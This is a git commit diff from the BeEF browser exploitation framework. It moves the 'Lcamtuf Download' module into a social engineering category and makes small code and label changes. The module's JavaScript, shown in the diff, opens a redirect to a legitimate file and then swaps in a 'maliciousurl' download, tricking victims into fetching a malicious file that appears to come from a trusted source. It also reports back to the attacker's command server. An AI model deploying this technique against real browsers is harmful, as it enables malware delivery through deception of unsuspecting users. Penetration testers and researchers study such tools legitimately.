Moved lcamtuf download module to social engineering category

This commit is contained in:
bcoles
2012-08-25 18:54:15 +09:30
parent 42c348f3f2
commit 57f68725bc
3 changed files with 5 additions and 7 deletions

View File

@@ -21,12 +21,11 @@ beef.execute(function() {
function doit() {
if (navigator.userAgent.indexOf('MSIE') == -1){
if (!beef.browser.isIE()) {
w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=' + realurl + '">', 'foo');
setTimeout(donext, 4500);
}
}
function donext() {
window.open(maliciousurl, 'foo');
@@ -34,5 +33,5 @@ beef.execute(function() {
once = true;
}
doit();
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Command executed");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Command executed");
});

View File

@@ -17,7 +17,7 @@ beef:
module:
lcamtuf_download:
enable: true
category: "Browser"
category: "Social Engineering"
name: "Lcamtuf Download"
description: "This module will attempt to execute a lcamtuf download. The file will be served with an alternative <i>Content-Disposition: attachment</i> header. For more information please refer to <a href='http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html'>http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html</a> ."
authors: ["Bart Leppens"]

View File

@@ -18,7 +18,6 @@ class Lcamtuf_download < BeEF::Core::Command
# set and return all options for this module
def self.options
return [{
'name' => 'real_file_uri',
'description' => 'The web accessible URI for the real file.',
@@ -33,7 +32,7 @@ class Lcamtuf_download < BeEF::Core::Command
'value' => '',
'width' => '300px'
},
{ 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Once', 'store_type' => 'arraystore',
{ 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Run Once', 'store_type' => 'arraystore',
'store_fields' => ['do_once'], 'store_data' => [['false'],['true']],
'valueField' => 'do_once', 'displayField' => 'do_once', 'mode' => 'local', 'value' => 'false', 'autoWidth' => true
}]